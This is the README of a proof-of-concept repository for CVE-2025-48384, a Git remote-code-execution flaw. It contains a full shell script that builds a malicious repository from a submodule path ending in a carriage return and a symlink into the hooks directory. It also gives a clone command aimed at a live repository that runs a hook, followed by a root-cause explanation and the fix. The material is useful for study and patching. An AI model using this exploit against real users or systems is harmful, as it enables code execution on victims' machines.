
CVE-2025-48384 PoC
This repository was created for security education purposes.
Please do not misuse it.
This vulnerability requires including \r in directory names,
so Linux/Unix systems are affected.
The following Git versions are affected:
RCE also works when cloning this repository with the following command:
※ Please be very careful when executing.
git clone --recursive https://github.com/IK-20211125/CVE-2025-48384
The commands in post-checkout of the following submodule repository will be executed:
#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
#!/bin/zsh
git init sub
echo '#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook
git init CVE-2025-48384
git -C CVE-2025-48384 -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C CVE-2025-48384 mv sub "$(printf "sub\r")"
git config unset -f CVE-2025-48384/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> CVE-2025-48384/.gitmodules
ln -s .git/modules/sub/hooks CVE-2025-48384/sub
git -C CVE-2025-48384 add -A
git -C CVE-2025-48384 commit -m submodule
git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 bad-clone
Created with reference to this.
Two changes were made:
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config
First, regarding why RCE is achieved,
this vulnerability uses a standard Git feature called hooks.
To briefly explain hooks,
it is a feature that allows executing pre-configured scripts when specific events (such as commits) occur.
This vulnerability uses the file post-checkout inside .git, which is executed at checkout.
However, this file can normally only be handled locally, so simply cloning a GitHub repository
does not allow an attacker to intervene.
This is bypassed by exploiting Git's handling of \r, making it possible to place an arbitrary post-checkout file in ./.git/modules/sub/hooks/ locally, thus achieving RCE.
It uses Git's handling of \r.
Let's briefly explain by following Git's process.
First, using git clone --recursive {url}, clone from a remote repository on GitHub to local.
(Adding --recursive also clones submodules simultaneously.)
At that time, the submodule from url is extracted into the directory specified by the path parameter in .gitmodules.
[submodule "sub"]
url = https://github.com/IK-20211125/sub.git
path = "sub"
The directory name of this path parameter is manipulated as follows:
path = "sub\r"
Also, the submodule directory name in the repository is set to sub\r.
When git clone --recursive is performed this way,
according to the path in .gitmodules, it tries to extract the submodule from url into the sub\r directory.
(If the directory specified by path in .gitmodules does not exist, the submodule is not extracted.)
However, Git does not refer to the value of path in .gitmodules for the final extraction destination of the submodule.
It ultimately refers to a parameter called worktree in .git/modules/sub/config.
This parameter is written based on the value of path in .gitmodules.
This writing is important.
When path = "sub\r" is written to worktree in .git/modules/sub/config, it becomes as follows:
[core]
workdir = ../../../sub\r
The important point is that it is not enclosed in double quotes.
static ssize_t write_pair(int fd, const char *key, const char *value, [...]
{
[...]
/*
* Check to see if the value needs to be surrounded with a dq pair.
* Note that problematic characters are always backslash-quoted; this
* check is about not losing leading or trailing SP and strings that
* follow beginning-of-comment characters (i.e. ';' and '#') by the
* configuration parser.
*/
if (value[0] == ' ')
quote = "\"";
for (i = 0; value[i]; i++)
if (value[i] == ';' || value[i] == '#')
quote = "\"";
if (i && value[i - 1] == ' ')
quote = "\"";
strbuf_addf(&sb, "\t%s = %s", key + store->baselen + 1, quote);
It is enclosed in double quotes only when a space is in a specific position,
or when ; or # is present anywhere,
but \r is not enclosed in double quotes.
When not enclosed in double quotes, Git does not evaluate the trailing \r.
Therefore, the extraction destination of the submodule becomes ../../../sub.
Since the submodule name is sub\r, it is possible to create any form of file named sub (the names do not conflict).
Place a symbolic link here to change the extraction destination of the submodule to ./.git/modules/sub/hooks/.
sub -> .git/modules/sub/hooks
The attacker's script file post-checkout placed inside the submodule
can be placed in the victim's local ./.git/modules/sub/hooks/, and will be executed at checkout.
This attack works because Git's handling of \r changes.
.gitmodules, it is enclosed in double quotes, so \r is evaluated..git/modules/sub/config, it is not enclosed in double quotes, so \r is not evaluated.In the Git versions that fixed this vulnerability, the following change was made:
(Change to enclose in double quotes if \r is present)
if (value[0] == ' ')
quote = "\"";
for (i = 0; value[i]; i++)
if (value[i] == ';' || value[i] == '#' || value[i] == '\r')
quote = "\"";
if (i && value[i - 1] == ' ')
quote = "\"";
A similar vulnerability is CVE-2024-32002.
This vulnerability exploits case-insensitive file systems (Windows, macOS, etc.)
and uses symbolic links similar to CVE-2025-48384 to allow attacker intervention in githooks.
The following article is helpful:
https://japanese.opswat.com/blog/analyzing-and-remediating-git-vulnerability-cve-2024-32002
※ If there are any misinterpretations in the content, we would appreciate your feedback.